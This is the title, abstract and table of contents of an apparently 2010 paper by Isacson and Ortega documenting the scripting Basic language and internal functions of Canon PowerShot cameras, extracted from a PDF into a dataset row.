text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
PowerShot Basic
Oren Isacson, Alfredo Ortega
August 1, 2010
Abstract
An (incomplete) specification of the Basic language included in several
Canon Powershot Cameras.
1
Contents
0.1
Executing Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
0.1.1
Format of the SD card . . . . . . . . . . . . . . . . . . . .
14
0.1.2
Script extend.m . . . . . . . . . . . . . . . . . . . . . . . .
14
0.1.3
Starting the script . . . . . . . . . . . . . . . . . . . . . .
14
0.1.4
Automatic script . . . . . . . . . . . . . . . . . . . . . . .
14
0.2
Language constructs . . . . . . . . . . . . . . . . . . . . . . . . .
15
0.2.1
operators
. . . . . . . . . . . . . . . . . . . . . . . . . . .
15
0.2.2
Dim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15
0.2.3
for-next . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
0.2.4
do-while . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
0.2.5
subroutines . . . . . . . . . . . . . . . . . . . . . . . . . .
16
0.3
Common functions() . . . . . . . . . . . . . . . . . . . . . . . . .
16
0.3.1
ExMem.View() . . . . . . . . . . . . . . . . . . . . . . . .
17
0.3.2
ExMem.AllocUncacheable() . . . . . . . . . . . . . . . . .
17
0.3.3
ExMem.FreeUncacheable()
. . . . . . . . . . . . . . . . .
17
0.3.4
ExMem.AllocCacheable() . . . . . . . . . . . . . . . . . .
17
0.3.5
ExMem.FreeCacheable() . . . . . . . . . . . . . . . . . . .
17
0.3.6
StartCameraLog() . . . . . . . . . . . . . . . . . . . . . .
17
0.3.7
ShowCameraLog() . . . . . . . . . . . . . . . . . . . . . .
17
0.3.8
ShowCameraLogInfo() . . . . . . . . . . . . . . . . . . . .
18
0.3.9
StopCameraLog()
. . . . . . . . . . . . . . . . . . . . . .
18
0.3.10 PutsCameraLogEvent() . . . . . . . . . . . . . . . . . . .
18
0.3.11 OpLog.Create() . . . . . . . . . . . . . . . . . . . . . . . .
18
0.3.12 drysh()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
18
0.3.13 NewTaskShell() . . . . . . . . . . . . . . . . . . . . . . . .
18
0.3.14 ExMem() . . . . . . . . . . . . . . . . . . . . . . . . . . .
18
0.3.15 StartRedirectUART()
. . . . . . . . . . . . . . . . . . . .
19
0.3.16 SS.Create() . . . . . . . . . . . . . . . . . . . . . . . . . .
19
0.3.17 SetUSBToDCPMode() . . . . . . . . . . . . . . . . . . . .
19
0.3.18 InitializeDCPClassFunctions()
. . . . . . . . . . . . . . .
19
0.3.19 LoadScript()
. . . . . . . . . . . . . . . . . . . . . . . . .
19
0.3.20 UnLoadScript() . . . . . . . . . . . . . . . . . . . . . . . .
19
0.3.21 Printf() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
0.3.22 RomCheckSum() . . . . . . . . . . . . . . . . . . . . . . .
20
0.3.23 PostLogicalEventToUI() . . . . . . . . . . . . . . . . . . .
20
0.3.24 PostLogicalEventForNotPowerType()
. . . . . . . . . . .
20
0.3.25 PostEventShootSeqToUI() . . . . . . . . . . . . . . . . . .
20
0.3.26 ShowLogicalEventName() . . . . . . . . . . . . . . . . . .
20
0.3.27 SetAutoShutdownTime()
. . . . . . . . . . . . . . . . . .
20
2
0.3.28 LockMainPower()
. . . . . . . . . . . . . . . . . . . . . .
21
0.3.29 UnlockMainPower()
. . . . . . . . . . . . . . . . . . . . .
21
0.3.30 HardwareDefect()
. . . . . . . . . . . . . . . . . . . . . .
21
0.3.31 HardwareDefectWithRestart()
. . . . . . . . . . . . . . .
21
0.3.32 MechaUnRegisterEventProcedure() . . . . . . . . . . . . .
21
0.3.33 Mecha.Create() . . . . . . . . . . . . . . . . . . . . . . . .
21
0.3.34 DispDev EnableEventProc()
. . . . . . . . . . . . . . . .
21
0.3.35 SystemEventInit() . . . . . . . . . . . . . . . . . . . . . .
22
0.3.36 System.Create()
. . . . . . . . . . . . . . . . . . . . . . .
22
0.3.37 UI RegistDebugEventProc() . . . . . . . . . . . . . . . . .
22
0.3.38 UI.Create() . . . . . . . . . . . . . . . . . . . . . . . . . .
22
0.3.39 FA.Delete() . . . . . . . . . . . . . . . . . . . . . . . . . .
22
0.3.40 Capture.Create() . . . . . . . . . . . . . . . . . . . . . . .
22
0.3.41 EngineDriver.Create() . . . . . . . . . . . . . . . . . . . .
22
0.3.42 StartTransferOrderMenu() . . . . . . . . . . . . . . . . . .
23
0.3.43 StartDirectTransferManager() . . . . . . . . . . . . . . . .
23
0.3.44 StartDtConfirmMenu()
. . . . . . . . . . . . . . . . . . .
23
0.3.45 StoptDtConfirmMenu()
. . . . . . . . . . . . . . . . . . .
23
0.3.46 StartDtExecuteMenu() . . . . . . . . . . . . . . . . . . . .
23
0.3.47 StopRedirectUART()
. . . . . . . . . . . . . . . . . . . .
23
0.3.48 RefreshUSBMode() . . . . . . . . . . . . . . . . . . . . . .
23
0.3.49 UI.CreatePublic()
. . . . . . . . . . . . . . . . . . . . . .
24
0.3.50 StoptDtExecuteMenu()
. . . . . . . . . . . . . . . . . . .
24
0.3.51 TerminateDCPClassFunctions() . . . . . . . . . . . . . . .
24
0.3.52 UiEvnt StopDisguiseCradleStatus()
. . . . . . . . . . . .
24
0.4
OpLog.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
24
0.4.1
OpLog.Show()
. . . . . . . . . . . . . . . . . . . . . . . .
24
0.4.2
OpLog.Play() . . . . . . . . . . . . . . . . . . . . . . . . .
25
0.4.3
OpLog.ReadFromROM()
. . . . . . . . . . . . . . . . . .
25
0.4.4
OpLog.ReadFromSD() . . . . . . . . . . . . . . . . . . . .
25
0.4.5
OpLog.WriteToSD() . . . . . . . . . . . . . . . . . . . . .
25
0.4.6
OpLog.WriteToROM() . . . . . . . . . . . . . . . . . . . .
25
0.4.7
OpLog.Get()
. . . . . . . . . . . . . . . . . . . . . . . . .
25
0.4.8
OpLog.Stop() . . . . . . . . . . . . . . . . . . . . . . . . .
26
0.4.9
OpLog.Start()
. . . . . . . . . . . . . . . . . . . . . . . .
26
0.5
Driver.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
26
0.5.1
GetAdVBattBottom() . . . . . . . . . . . . . . . . . . . .
26
0.5.2
GetAdChValue() . . . . . . . . . . . . . . . . . . . . . . .
26
0.5.3
BeepDrive() . . . . . . . . . . . . . . . . . . . . . . . . . .
26
0.5.4
LEDDrive() . . . . . . . . . . . . . . . . . . . . . . . . . .
27
0.5.5
VbattGet() . . . . . . . . . . . . . . . . . . . . . . . . . .
27
0.5.6
ShowPhySwStatus() . . . . . . . . . . . . . . . . . . . . .
27
0.5.7
SetRawSWCheckMode() . . . . . . . . . . . . . . . . . . .
28
0.5.8
OnPrintPhySw() . . . . . . . . . . . . . . . . . . . . . . .
28
0.5.9
OffPrintPhySw() . . . . . . . . . . . . . . . . . . . . . . .
28
0.5.10 GetSwitchStatus() . . . . . . . . . . . . . . . . . . . . . .
28
0.5.11 ShowSDStatus()
. . . . . . . . . . . . . . . . . . . . . . .
28
0.5.12 GetSDDetect() . . . . . . . . . . . . . . . . . . . . . . . .
28
0.5.13 GetSDProtect() . . . . . . . . . . . . . . . . . . . . . . . .
29
0.5.14 SetIgnoreAVJACK() . . . . . . . . . . . . . . . . . . . . .
29
3
0.5.15 GetDialEventId() . . . . . . . . . . . . . . . . . . . . . . .
29
0.5.16 SetSDPwrPort()
. . . . . . . . . . . . . . . . . . . . . . .
29
0.6
System.Create()
. . . . . . . . . . . . . . . . . . . . . . . . . . .
29
0.6.1
Driver EnableEventProc() . . . . . . . . . . . . . . . . . .
29
0.6.2
Driver.Create() . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.3
strcpy() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.4
strlen()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.5
strcmp() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.6
sprintf() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.7
memcpy() . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
0.6.8
memset() . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.9
memcmp()
. . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.10 sscanf() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.11 atol()
. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.12 Open()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.13 Read() . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
0.6.14 Write()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
0.6.15 Close()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
0.6.16 Lseek()
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
0.6.17 Fopen Fut,Fclose Fut,Fread Fut,Fwrite Fut,Fseek Fut . .
32
0.6.18 CreateCountingSemaphore()
. . . . . . . . . . . . . . . .
32
0.6.19 DeleteSemaphore() . . . . . . . . . . . . . . . . . . . . . .
33
0.6.20 TakeSemaphore() . . . . . . . . . . . . . . . . . . . . . . .
33
0.6.21 GiveSemaphore() . . . . . . . . . . . . . . . . . . . . . . .
33
0.6.22 GetTimeOfSystem() . . . . . . . . . . . . . . . . . . . . .
33
0.6.23 CreateTask() . . . . . . . . . . . . . . . . . . . . . . . . .
33
0.6.24 ExitTask()
. . . . . . . . . . . . . . . . . . . . . . . . . .
33
0.6.25 SleepTask() . . . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.26 CPrintf()
. . . . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.27 CPutChar() . . . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.28 GetCh() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.29 OpenConsole() . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.30 CloseConsole() . . . . . . . . . . . . . . . . . . . . . . . .
34
0.6.31 GetStringWithPrompt() . . . . . . . . . . . . . . . . . . .
35
0.6.32 RotateConsoleZOder() . . . . . . . . . . . . . . . . . . . .
35
0.6.33 ExecuteEventProcedure() . . . . . . . . . . . . . . . . . .
35
0.6.34 ExportToEventProcedure() . . . . . . . . . . . . . . . . .
35
0.6.35 DeleteProxyOfEventProcedure()
. . . . . . . . . . . . . .
35
0.6.36 CreateProxyOfEventProcedure() . . . . . . . . . . . . . .
35
0.6.37 WriteToRom()
. . . . . . . . . . . . . . . . . . . . . . . .
36
0.6.38 EraseSectorOfRom() . . . . . . . . . . . . . . . . . . . . .
36
0.6.39 EraseSignature() . . . . . . . . . . . . . . . . . . . . . . .
36
0.6.40 GetSystemTime()
. . . . . . . . . . . . . . . . . . . . . .
36
0.6.41 ShowAllTaskInfo() . . . . . . . . . . . . . . . . . . . . . .
36
0.6.42 memShow() . . . . . . . . . . . . . . . . . . . . . . . . . .
37
0.6.43 Wait() . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
37
0.6.44 AllocateMemory()
. . . . . . . . . . . . . . . . . . . . . .
38
0.6.45 FreeMemory()
. . . . . . . . . . . . . . . . . . . . . . . .
38
0.6.46 Poke32() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
38
0.6.47 Poke16() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
38
4
0.6.48 Poke8() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
38
0.6.49 Peek32() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.50 Peek16() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.51 Peek8() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.52 Dump() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.53 Dump32() . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.54 SDump()
. . . . . . . . . . . . . . . . . . . . . . . . . . .
39
0.6.55 MonSelEvent() . . . . . . . . . . . . . . . . . . . . . . . .
40
0.6.56 exec() . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
40
0.6.57 MakeBootDisk()
. . . . . . . . . . . . . . . . . . . . . . .
40
0.6.58 MakeScriptDisk() . . . . . . . . . . . . . . . . . . . . . . .
40
0.6.59 Printf() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
40
0.6.60 LoadScript()
. . . . . . . . . . . . . . . . . . . . . . . . .
40
0.6.61 UnLoadScript() . . . . . . . . . . . . . . . . . . . . . . . .
41
0.6.62 GetBuildDate() . . . . . . . . . . . . . . . . . . . . . . . .
41
0.6.63 GetBuildTime()
. . . . . . . . . . . . . . . . . . . . . . .
41
0.6.64 GetFirmwareVersion() . . . . . . . . . . . . . . . . . . . .
41
0.6.65 CheckSumAll() . . . . . . . . . . . . . . . . . . . . . . . .
41
0.6.66 MemoryChecker()
. . . . . . . . . . . . . . . . . . . . . .
41
0.6.67 VerifyByte()
. . . . . . . . . . . . . . . . . . . . . . . . .
42
0.6.68 StartWDT()
. . . . . . . . . . . . . . . . . . . . . . . . .
42
0.6.69 StopWDT() . . . . . . . . . . . . . . . . . . . . . . . . . .
42
0.6.70 EraseLogSector() . . . . . . . . . . . . . . . . . . . . . . .
42
0.6.71 GetLogToFile() . . . . . . . . . . . . . . . . . . . . . . . .
42
0.6.72 AdditionAgentRAM() . . . . . . . . . . . . . . . . . . . .
42
0.6.73 System delet()
. . . . . . . . . . . . . . . . . . . . . . . .
43
0.7
UI.CreatePublic() . . . . . . . . . . . . . . . . . . . . . . . . . . .
43
0.7.1
SetScriptMode()
. . . . . . . . . . . . . . . . . . . . . . .
43
0.7.2
UIFS StopPostingUIEvent() . . . . . . . . . . . . . . . . .
43
0.7.3
UIFS RestartPostingUIEvent() . . . . . . . . . . . . . . .
43
0.7.4
UIFS SetCaptureModeToP()
. . . . . . . . . . . . . . . .
43
0.7.5
UIFS SetCaptureModeToTv()
. . . . . . . . . . . . . . .
44
0.7.6
UIFS SetCaptureModeToM() . . . . . . . . . . . . . . . .
44
0.7.7
UIFS SetCaptureModeToMacro() . . . . . . . . . . . . . .
44
0.7.8
UIFS SetCaptureModeToISO3200()
. . . . . . . . . . . .
44
0.7.9
UIFS Capture()
. . . . . . . . . . . . . . . . . . . . . . .
44
0.7.10 UIFS CaptureNoneStop() . . . . . . . . . . . . . . . . . .
44
0.7.11 UIFS StartMovieRecord() . . . . . . . . . . . . . . . . . .
45
0.7.12 UIFS StopMovieRecord() . . . . . . . . . . . . . . . . . .
45
0.7.13 UIFS OpenPopupStrobe() . . . . . . . . . . . . . . . . . .
45
0.7.14 UIFS ClosePopupStrobe() . . . . . . . . . . . . . . . . . .
45
0.7.15 UIFS MountExtFlash()
. . . . . . . . . . . . . . . . . . .
45
0.7.16 UIFS UnmountExtFlash() . . . . . . . . . . . . . . . . . .
45
0.7.17 UIFS PressTeleButton() . . . . . . . . . . . . . . . . . . .
46
0.7.18 UIFS UnpressTeleButton()
. . . . . . . . . . . . . . . . .
46
0.7.19 UIFS PressWideButton() . . . . . . . . . . . . . . . . . .
46
0.7.20 UIFS UnpressWideButton() . . . . . . . . . . . . . . . . .
46
0.7.21 UIFS ConnectVideo() . . . . . . . . . . . . . . . . . . . .
46
0.7.22 UIFS DisconnectVideo() . . . . . . . . . . . . . . . . . . .
46
0.7.23 UIFS MoveZoomTo()
. . . . . . . . . . . . . . . . . . . .
47
5
0.7.24 UIFS SetDialStillRec() . . . . . . . . . . . . . . . . . . . .
47
0.7.25 UIFS SetDialMovieRec()
. . . . . . . . . . . . . . . . . .
47
0.7.26 UIFS SetDialPlay()
. . . . . . . . . . . . . . . . . . . . .
47
0.7.27 UIFS StartClockMode() . . . . . . . . . . . . . . . . . . .
47
0.7.28 StartClockMode()
. . . . . . . . . . . . . . . . . . . . . .
47
0.7.29 UIFS EndClockMode()
. . . . . . . . . . . . . . . . . . .
48
0.7.30 EndClockMode() . . . . . . . . . . . . . . . . . . . . . . .
48
0.7.31 UIFS WriteFirmInfoToFile()
. . . . . . . . . . . . . . . .
48
0.7.32 UIFS GetMovieRecoadableNumber() . . . . . . . . . . . .
48
0.7.33 UIFS GetStillShotableNumber()
. . . . . . . . . . . . . .
48
0.7.34 UIFS SetCradleSetting() . . . . . . . . . . . . . . . . . . .
48
0.7.35 UiEvnt StartDisguiseCradleStatus() . . . . . . . . . . . .
49
0.7.36 PTM RestoreUIProperty()
. . . . . . . . . . . . . . . . .
49
0.7.37 PTM AllResetToFactorySetting() . . . . . . . . . . . . . .
49
0.7.38 PTM AllReset()
. . . . . . . . . . . . . . . . . . . . . . .
49
0.7.39 PTM GetWorkingCaptureMode() . . . . . . . . . . . . . .
49
0.7.40 PTM SetCurrentCaptureMode() . . . . . . . . . . . . . .
49
0.7.41 PTM SetCurrentItem()
. . . . . . . . . . . . . . . . . . .
50
0.7.42 PTM GetCurrentItem() . . . . . . . . . . . . . . . . . . .
50
0.7.43 PTM NextItem() . . . . . . . . . . . . . . . . . . . . . . .
50
0.7.44 PTM PrevItem() . . . . . . . . . . . . . . . . . . . . . . .
50
0.7.45 PTM BackupUIProperty()
. . . . . . . . . . . . . . . . .
50
0.7.46 PTM SetProprietyEnable() . . . . . . . . . . . . . . . . .
50
0.7.47 PTM IsEnableItem() . . . . . . . . . . . . . . . . . . . . .
51
0.7.48 CreateController() . . . . . . . . . . . . . . . . . . . . . .
51
0.7.49 DeleteController()
. . . . . . . . . . . . . . . . . . . . . .
51
0.7.50 MoveControllerToTopOfZOrder() . . . . . . . . . . . . . .
51
0.7.51 GetSelfControllerHandle() . . . . . . . . . . . . . . . . . .
51
0.7.52 SetCurrentCaptureModeType() . . . . . . . . . . . . . . .
51
0.7.53 GetCurrentCaptureModeType()
. . . . . . . . . . . . . .
52
0.7.54 ExecuteResetFactoryWithRomWrite() . . . . . . . . . . .
52
0.7.55 StartGUISystem() . . . . . . . . . . . . . . . . . . . . . .
52
0.7.56 LCDMsg Create, LCDMsg SetStr, LCDMsg Move, LCDMsg ChangeColor 52
0.7.57 LCDMsg Delete()
. . . . . . . . . . . . . . . . . . . . . .
53
0.7.58 LCDMsg SwDisp() . . . . . . . . . . . . . . . . . . . . . .
53
0.7.59 LCDMsg SetNum()
. . . . . . . . . . . . . . . . . . . . .
53
0.8
UI.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
53
0.8.1
UI ShowStateOfRecMode() . . . . . . . . . . . . . . . . .
53
0.8.2
IsControlEventActive()
. . . . . . . . . . . . . . . . . . .
53
0.8.3
GetCurrentCaptureModeType()
. . . . . . . . . . . . . .
54
0.8.4
FmtMenu ExecuteQuickFormat() . . . . . . . . . . . . . .
54
0.9
SS.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
54
0.9.1
PT CompletePreCapt() . . . . . . . . . . . . . . . . . . .
54
0.9.2
PT RecreviewAvailable()
. . . . . . . . . . . . . . . . . .
54
0.9.3
PT NextShootAvailable() . . . . . . . . . . . . . . . . . .
54
0.9.4
PT CompleteStopZoom() . . . . . . . . . . . . . . . . . .
55
0.9.5
PT CompleteStopDigZoom() . . . . . . . . . . . . . . . .
55
0.9.6
PT CompleteStoreLens()
. . . . . . . . . . . . . . . . . .
55
0.9.7
PT MovieRecordStopped()
. . . . . . . . . . . . . . . . .
55
0.9.8
PT CompleteCaptModeChange() . . . . . . . . . . . . . .
55
6
0.9.9
PT CompleteSynchroWrite()
. . . . . . . . . . . . . . . .
55
0.9.10 PT CompleteCharge() . . . . . . . . . . . . . . . . . . . .
56
0.9.11 PT CompleteFileWrite() . . . . . . . . . . . . . . . . . . .
56
0.9.12 PT BatLvChange PreWeak() . . . . . . . . . . . . . . . .
56
0.9.13 PT BatLvChange Weak() . . . . . . . . . . . . . . . . . .
56
0.9.14 PT BatLvChange Low() . . . . . . . . . . . . . . . . . . .
56
0.9.15 PT BatLvChange SysLow() . . . . . . . . . . . . . . . . .
56
0.9.16 PT StartBatteryTest() . . . . . . . . . . . . . . . . . . . .
57
0.9.17 PT FinishBatteryTest() . . . . . . . . . . . . . . . . . . .
57
0.9.18 PT GetBatteryLevel() . . . . . . . . . . . . . . . . . . . .
57
0.9.19 PT GetPreWeakBatLv() . . . . . . . . . . . . . . . . . . .
57
0.9.20 PT GetWeakBatLv() . . . . . . . . . . . . . . . . . . . . .
57
0.9.21 PT GetLowBatLv()
. . . . . . . . . . . . . . . . . . . . .
57
0.9.22 PT GetSysLowBatLv()
. . . . . . . . . . . . . . . . . . .
58
0.9.23 PT EraseAllFile()
. . . . . . . . . . . . . . . . . . . . . .
58
0.9.24 PT mod() . . . . . . . . . . . . . . . . . . . . . . . . . . .
58
0.9.25 PT GetSystemTime() . . . . . . . . . . . . . . . . . . . .
58
0.9.26 PT SetPropertyCaseInt() . . . . . . . . . . . . . . . . . .
58
0.9.27 PT GetPropertyCaseInt() . . . . . . . . . . . . . . . . . .
58
0.9.28 PT GetLocalDateAndTimeString() . . . . . . . . . . . . .
59
0.9.29 PT PlaySound()
. . . . . . . . . . . . . . . . . . . . . . .
59
0.9.30 PT LCD BkColorDef()
. . . . . . . . . . . . . . . . . . .
59
0.9.31 PT MoveOpticalZoomToTele() . . . . . . . . . . . . . . .
59
0.9.32 PT MoveOpticalZoomToWide()
. . . . . . . . . . . . . .
59
0.9.33 PT MoveOpticalZoomAt()
. . . . . . . . . . . . . . . . .
59
0.9.34 PT MoveDigitalZoomToTele()
. . . . . . . . . . . . . . .
60
0.9.35 PT MoveDigitalZoomToWide() . . . . . . . . . . . . . . .
60
0.9.36 PT MoveDigitalZoomAt() . . . . . . . . . . . . . . . . . .
60
0.9.37 PT ChangeZoomSpeed() . . . . . . . . . . . . . . . . . . .
60
0.9.38 PT DoAFLock() . . . . . . . . . . . . . . . . . . . . . . .
60
0.9.39 PT UnlockAF() . . . . . . . . . . . . . . . . . . . . . . . .
60
0.9.40 PT DoAELock() . . . . . . . . . . . . . . . . . . . . . . .
61
0.9.41 PT UnlockAE()
. . . . . . . . . . . . . . . . . . . . . . .
61
0.9.42 PT MFOn() . . . . . . . . . . . . . . . . . . . . . . . . . .
61
0.9.43 PT MFOff() . . . . . . . . . . . . . . . . . . . . . . . . . .
61
0.9.44 NR SetDarkSubType()
. . . . . . . . . . . . . . . . . . .
61
0.9.45 NR SetDefectCorrectType() . . . . . . . . . . . . . . . . .
61
0.9.46 NR GetDarkSubType() . . . . . . . . . . . . . . . . . . .
62
0.9.47 NR GetDefectCorrectType()
. . . . . . . . . . . . . . . .
62
0.9.48 NR SetLotasPonyType() . . . . . . . . . . . . . . . . . . .
62
0.10 RefreshUSBMode() . . . . . . . . . . . . . . . . . . . . . . . . . .
62
0.10.1 COMFACHK StartService() . . . . . . . . . . . . . . . . .
62
0.10.2 COMFACHK StopService() . . . . . . . . . . . . . . . . .
62
0.10.3 COMFACHK StartSendData() . . . . . . . . . . . . . . .
63
0.10.4 COMFACHK StartSendLargeData() . . . . . . . . . . . .
63
0.10.5 COMFACHK GetTransferTime() . . . . . . . . . . . . . .
63
0.10.6 COMFACHK SetSendDataSize() . . . . . . . . . . . . . .
63
0.11 Mecha.Create() . . . . . . . . . . . . . . . . . . . . . . . . . . . .
63
0.11.1 MechaReset() . . . . . . . . . . . . . . . . . . . . . . . . .
63
0.11.2 MechaTerminate() . . . . . . . . . . . . . . . . . . . . . .
64
7
0.11.3 ShowMechaMacro()
. . . . . . . . . . . . . . . . . . . . .
64
0.11.4 MoveZoomActuator()
. . . . . . . . . . . . . . . . . . . .
64
0.11.5 SetZoomActuatorSpeedPPS() . . . . . . . . . . . . . . . .
64
0.11.6 GetZoomActuatorCurrentPosition()
. . . . . . . . . . . .
64
0.11.7 GetZoomActuatorSpeedPPS()
. . . . . . . . . . . . . . .
64
0.11.8 IsZoomActuatorResetSensorPlusSide() . . . . . . . . . . .
65
0.11.9 MoveCZToPoint()
. . . . . . . . . . . . . . . . . . . . . .
65
0.11.10MoveCZToWide()
. . . . . . . . . . . . . . . . . . . . . .
65
0.11.11MoveCZToTele() . . . . . . . . . . . . . . . . . . . . . . .
65
0.11.12ResetFocusLens() . . . . . . . . . . . . . . . . . . . . . . .
65
0.11.13EscapeFocusLens() . . . . . . . . . . . . . . . . . . . . . .
65
0.11.14MoveFocusLensToTerminate()
. . . . . . . . . . . . . . .
66
0.11.15MoveFocusLensWithDistance() . . . . . . . . . . . . . . .
66
0.11.16MoveFocusLensWithPosition()
. . . . . . . . . . . . . . .
66
0.11.17MoveFocusLensWithPositionWithoutBacklas()
. . . . . .
66
0.11.18MoveFocusActuator()
. . . . . . . . . . . . . . . . . . . .
66
0.11.19SetFocusLensSpeed() . . . . . . . . . . . . . . . . . . . . .
66
0.11.20SetFocusLensSpeedTable()
. . . . . . . . . . . . . . . . .
67
0.11.21SetFocusLensDefaultPullOutTable() . . . . . . . . . . . .
67
0.11.22SetFocusLensCondition()
. . . . . . . . . . . . . . . . . .
67
0.11.23ShowFocusLensCurrentSpeedTable() . . . . . . . . . . . .
67
0.11.24SetFocusLensMaxSpeedLimit() . . . . . . . . . . . . . . .
67
0.11.25CancelFocusLensMaxSpeedLimit() . . . . . . . . . . . . .
67
0.11.26EnableFocusLens() . . . . . . . . . . . . . . . . . . . . . .
68
0.11.27DisableFocusLens() . . . . . . . . . . . . . . . . . . . . . .
68
0.11.28EnableFocusLensGainLockWithVoltage()
. . . . . . . . .
68
0.11.29DisableFocusLensGainLock() . . . . . . . . . . . . . . . .
68
0.11.30EnableFocusLensWaveLock() . . . . . . . . . . . . . . . .
68
0.11.31DisableFocusLensWaveLock() . . . . . . . . . . . . . . . .
68
0.11.32GetFocusLensCurrentPosition() . . . . . . . . . . . . . . .
69
0.11.33GetFocusLensResetPosition() . . . . . . . . . . . . . . . .
69
0.11.34GetFocusLensResetDefaultPosition() . . . . . . . . . . . .
69
0.11.35GetFocusLensSubjectDistance() . . . . . . . . . . . . . . .
69
0.11.36GetFocusLensSubjectDistanceNumber() . . . . . . . . . .
69
0.11.37GetFocusLensPositionRatio() . . . . . . . . . . . . . . . .
69
0.11.38GetFocusLensLoadSubjectDistance() . . . . . . . . . . . .
70
0.11.39ChangeFocusDistanceToPosition()
. . . . . . . . . . . . .
70
0.11.40GetFocusLensLoadCamTable() . . . . . . . . . . . . . . .
70
0.11.41GetFocusLensDriveVoltage()
. . . . . . . . . . . . . . . .
70
0.11.42SetFocusLensDriveVoltage() . . . . . . . . . . . . . . . . .
70
0.11.43GetFocusLensSettingWaitVoltage() . . . . . . . . . . . . .
70
0.11.44SetFocusLensSettingWaitVoltage() . . . . . . . . . . . . .
71
0.11.45GetFocusLensHoldVoltage() . . . . . . . . . . . . . . . . .
71
0.11.46SetFocusLensHoldVoltage() . . . . . . . . . . . . . . . . .
71
0.11.47GetFocusLensResetVoltage()
. . . . . . . . . . . . . . . .
71
0.11.48GetFocusLensMoveMaxPosition() . . . . . . . . . . . . . .
71
0.11.49GetFocusLensMoveMinPosition() . . . . . . . . . . . . . .
71
0.11.50ResetIris() . . . . . . . . . . . . . . . . . . . . . . . . . . .
72
0.11.51MoveIrisToTerminatePosition() . . . . . . . . . . . . . . .
72
0.11.52MoveIrisWithAv() . . . . . . . . . . . . . . . . . . . . . .
72
8
0.11.53MoveIrisWithAvWithoutBacklash()
. . . . . . . . . . . .
72
0.11.54GetIrisAv() . . . . . . . . . . . . . . . . . . . . . . . . . .
72
0.11.55MoveLensToFirstPoint() . . . . . . . . . . . . . . . . . . .
72
0.11.56MoveLensToTerminatePoint() . . . . . . . . . . . . . . . .
73
0.11.57IsLensOutside() . . . . . . . . . . . . . . . . . . . . . . . .
73
0.11.58GetLensErrorStatus()
. . . . . . . . . . . . . . . . . . . .
73
0.11.59EnableMechaCircuit() . . . . . . . . . . . . . . . . . . . .
73
0.11.60DisableMechaCircuit() . . . . . . . . . . . . . . . . . . . .
73
0.11.61EnableFocusPiCircuit()
. . . . . . . . . . . . . . . . . . .
73
0.11.62DisableFocusPiCircuit() . . . . . . . . . . . . . . . . . . .
74
0.11.63GetFocusPiSensorLevel()
. . . . . . . . . . . . . . . . . .
74
0.11.64EnableZoomPiCircuit()
. . . . . . . . . . . . . . . . . . .
74
0.11.65DisableZoomPiCircuit() . . . . . . . . . . . . . . . . . . .
74
0.11.66GetZoomPiSensorLevel()
. . . . . . . . . . . . . . . . . .
74
0.11.67EnableZoomEncoderCircuit() . . . . . . . . . . . . . . . .
74
0.11.68DisableZoomEncoderCircuit() . . . . . . . . . . . . . . . .
75
0.11.69SendMechaCircuitData()
. . . . . . . . . . . . . . . . . .
75
0.11.70ReceiveMechaCircuitDataAll()
. . . . . . . . . . . . . . .
75
0.11.71CloseMechaShutterWithTiming() . . . . . . . . . . . . . .
75
0.11.72SetMechaShutterWaitTimeSetting()
. . . . . . . . . . . .
75
0.11.73GetMechaShutterStatus() . . . . . . . . . . . . . . . . . .
75
0.11.74CloseMechaShutter() . . . . . . . . . . . . . . . . . . . . .
76
0.11.75OpenMechaShutter() . . . . . . . . . . . . . . . . . . . . .
76
0.11.76SetMechaShutterCloseDacSetting() . . . . . . . . . . . . .
76
0.11.77SetMechaShutterOpenDacSetting() . . . . . . . . . . . . .
76
0.11.78SetNdDacSetting() . . . . . . . . . . . . . . . . . . . . . .
76
0.11.79TurnOnNdFilter()
. . . . . . . . . . . . . . . . . . . . . .
76
0.11.80TurnOffNdFilter() . . . . . . . . . . . . . . . . . . . . . .
77
0.11.81ResetZoomLens() . . . . . . . . . . . . . . . . . . . . . . .
77
0.11.82ResetZoomLensToFirst()
. . . . . . . . . . . . . . . . . .
77
0.11.83ResetZoomLensToTermiante()
. . . . . . . . . . . . . . .
77
